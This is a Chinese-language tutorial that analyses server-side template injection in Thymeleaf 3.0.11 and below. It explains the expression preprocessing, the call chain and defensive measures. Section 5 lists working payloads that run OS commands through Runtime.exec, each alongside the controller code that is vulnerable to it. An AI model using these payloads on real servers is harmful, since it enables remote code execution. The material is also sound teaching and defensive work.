Thymeleaf模板生成过程以及注入原因分析
字数 1225 2025-08-22 12:22:48
Thymeleaf模板注入漏洞分析与防御指南
1. Thymeleaf模板引擎概述
Thymeleaf是一种流行的Java模板引擎,具有以下特点:
- 使用HTML标签语法,不破坏HTML结构,无需后端渲染也能在浏览器中打开
- 提供标准和Spring标准两种方言,支持JSTL和OGNL表达式
- Spring Boot官方推荐,配置简单,上手容易
2. Thymeleaf基础语法
2.1 变量表达式
<span th:text="'Hello, ' + ${message}"></span>
${message}用于访问模型中的属性。
2.2 片段表达式
片段定义:
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
片段引用:
<div th:insert="~{fragments :: header}"></div>
支持th:insert、th:replace和th:include三种引用方式。
3. 漏洞环境搭建
3.1 依赖配置
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.11.RELEASE</version>
</dependency>
注意:漏洞存在于3.0.11及以下版本。
4. 漏洞原理分析
4.1 漏洞触发流程
- 控制器返回视图名称
- Spring MVC封装ModelAndView对象
- 视图解析器解析视图名称
- Thymeleaf渲染视图时处理表达式
4.2 关键点分析
4.2.1 表达式预处理
Thymeleaf在处理模板时会先进行表达式预处理:
- 预处理表达式被双下划线包围:
__${expression}__ - 预处理可以修改最终执行的表达式
4.2.2 漏洞触发条件
当用户输入被直接拼接到模板路径或片段表达式中,且未经过滤时,可能导致表达式注入。
5. 漏洞类型与Payload构造
5.1 参数型注入
控制器代码:
return "user/" + lang + "/welcome";
Payload:
~{user/__${T(java.lang.Runtime).getRuntime().exec("whoami")}__::.x/welcome}
5.2 片段型注入
控制器代码:
return "welcome::" + section;
Payload:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__
5.3 Path型注入
控制器代码:
@GetMapping("/doc/{document}")
Payload:
/doc/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::..x
注意:Path型注入需要额外添加点号(.)来避免路径截断。
6. 漏洞调试分析
6.1 关键方法调用链
DispatcherServlet#doDispatchRequestMappingHandlerAdapter#invokeHandlerMethodViewResolver#resolveViewNameThymeleafView#renderStandardExpressionParser#parseExpression
6.2 表达式解析过程
- 提取预处理表达式部分
- 使用
StandardExpressionParser解析表达式 - 执行表达式并获取结果
7. 防御措施
7.1 输入验证与过滤
- 对所有用户输入进行严格验证
- 过滤特殊字符如
$、{、}、__等
7.2 安全配置
- 升级Thymeleaf到最新版本
- 禁用表达式预处理功能
7.3 编码实践
- 避免直接拼接用户输入到模板路径
- 使用安全的视图解析方式
8. 总结
Thymeleaf模板注入漏洞主要源于:
- 用户输入直接拼接到模板路径或片段表达式
- 表达式预处理机制未做安全限制
- 低版本Thymeleaf存在安全缺陷
通过理解漏洞原理、掌握Payload构造方法,并实施有效的防御措施,可以有效防范此类安全风险。